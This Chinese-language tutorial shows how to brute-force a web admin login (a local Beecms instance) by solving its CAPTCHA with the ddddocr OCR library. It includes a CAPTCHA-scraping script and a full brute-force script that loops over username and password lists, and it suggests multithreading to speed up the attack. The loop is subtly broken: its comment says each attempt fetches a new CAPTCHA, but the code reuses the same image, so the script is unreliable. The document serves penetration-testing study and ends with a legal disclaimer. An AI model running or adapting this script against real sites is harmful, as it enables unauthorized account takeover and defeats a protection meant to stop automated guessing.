基于ddddocr库的网站验证码识别的爆破初探
字数 1230 2025-08-11 21:26:35
基于ddddocr库的网站验证码识别爆破教程
1. 前言
在网络安全渗透测试中,验证码是网站常用的防护手段之一。当遇到需要爆破但存在验证码防护的网站时,验证码自动识别技术就显得尤为重要。本教程将详细介绍如何使用Python的ddddocr库来实现验证码识别,并应用于爆破测试中。
2. 验证码识别技术概述
2.1 传统机器学习方法
对于字母加数字的组合验证码,传统方法通常采用以下步骤:
- 爬取验证码图片:获取足够数量的样本
- 图片预处理:
- 去除背景噪声
- 图片灰度化
- 字符切割
- 模型训练:使用KNN等算法训练识别模型
- 预测应用:使用训练好的模型预测新验证码
2.2 ddddocr库的优势
ddddocr库解决了传统方法的以下问题:
- 内置大量预训练模型,无需自行训练
- 自动处理字符位置不固定、字符粘连等问题
- 支持多种验证码类型(数字字母组合、滑动验证、选字填充等)
3. 环境准备
3.1 所需工具
- Python 3.x
- ddddocr库:
pip install ddddocr - requests库:
pip install requests - 测试环境:Beecms(或其他有验证码的网站)
3.2 验证码样本收集
import requests
url = "http://localhost/beecms/admin/admin_code.php" # 验证码URL
# 爬取100张验证码
for i in range(1, 101):
get_img_response = requests.get(url) # 发送GET请求
img_data = get_img_response.content
with open("img/%d.png" % i, 'wb') as fp:
fp.write(img_data)
print("爬取结束!")
4. ddddocr基础使用
4.1 简单识别示例
import ddddocr
ocr = ddddocr.DdddOcr()
with open("5a4c.png", "rb") as f:
im = f.read()
r = ocr.classification(im)
print(r)
4.2 常见问题处理
- 数字"9"和字母"g"混淆:这是常见问题,可能需要多次尝试或额外处理
- 识别准确率:ddddocr对简单验证码识别率较高,但复杂验证码可能需要调整参数
5. 爆破脚本编写
5.1 目标分析
- 登录URL:
http://localhost/beecms/admin/login.php?action=ck_login - 验证码URL:
http://localhost/beecms/admin/admin_code.php - 请求参数:未加密,直接POST
5.2 完整爆破脚本
import ddddocr
import requests
# 配置参数
username = ["aaa", "ccc", "admin"] # 用户名字典
password = ["111", "admin"] # 密码字典
docr = ddddocr.DdddOcr()
header = {"Content-Type": "application/x-www-form-urlencoded"}
code_url = "http://localhost/beecms/admin/admin_code.php"
target_url = "http://localhost/beecms/admin/login.php?action=ck_login"
# 获取初始验证码和cookie
response = requests.get(code_url)
img_str = docr.classification(response.content)
# 爆破循环
for u in username:
for p in password:
# 每次获取新验证码
img_str = docr.classification(response.content)
# 构造POST数据
post_data = {
"user": u,
"password": p,
"code": img_str,
"submit": "true",
"submit.x": "32",
"submit.y": "38"
}
# 发送请求(携带之前获取的cookie)
data = requests.post(
target_url,
data=post_data,
headers=header,
cookies=response.cookies
)
print("正在爆破 用户名: " + u + " 密码: " + p)
# 判断是否成功(根据返回长度)
if len(data.text) > 10000:
print("爆破成功!! " + "用户名: " + u + " 密码: " + p)
break
print("爆破结束")
5.3 关键注意事项
- Cookie同步:必须携带获取验证码时的cookie,否则会导致验证码不同步
- 识别错误处理:数字"9"和字母"g"可能混淆,可能需要多次尝试
- 成功判断:本例通过返回内容长度判断,实际应根据目标网站调整
- 请求间隔:有些网站有登录失败延时(如4秒),脚本需要考虑这一点
6. 优化建议
- 多线程/异步:提高爆破速度
- 验证码缓存:对已识别的验证码进行缓存,减少重复识别
- 错误重试:对识别错误的验证码自动重试
- 更精确的成功判断:结合返回内容特征而非仅长度判断
7. 扩展应用
ddddocr还支持以下验证码类型:
- 滑动验证码
- 选字填充验证码
- 文字点选验证码
针对不同类型验证码,只需调整识别方法即可。
8. 法律与道德声明
本教程仅用于网络安全学习与研究目的。未经授权的渗透测试可能违反法律,请确保获得授权后再对目标系统进行测试。使用者需自行承担因滥用该技术导致的一切后果。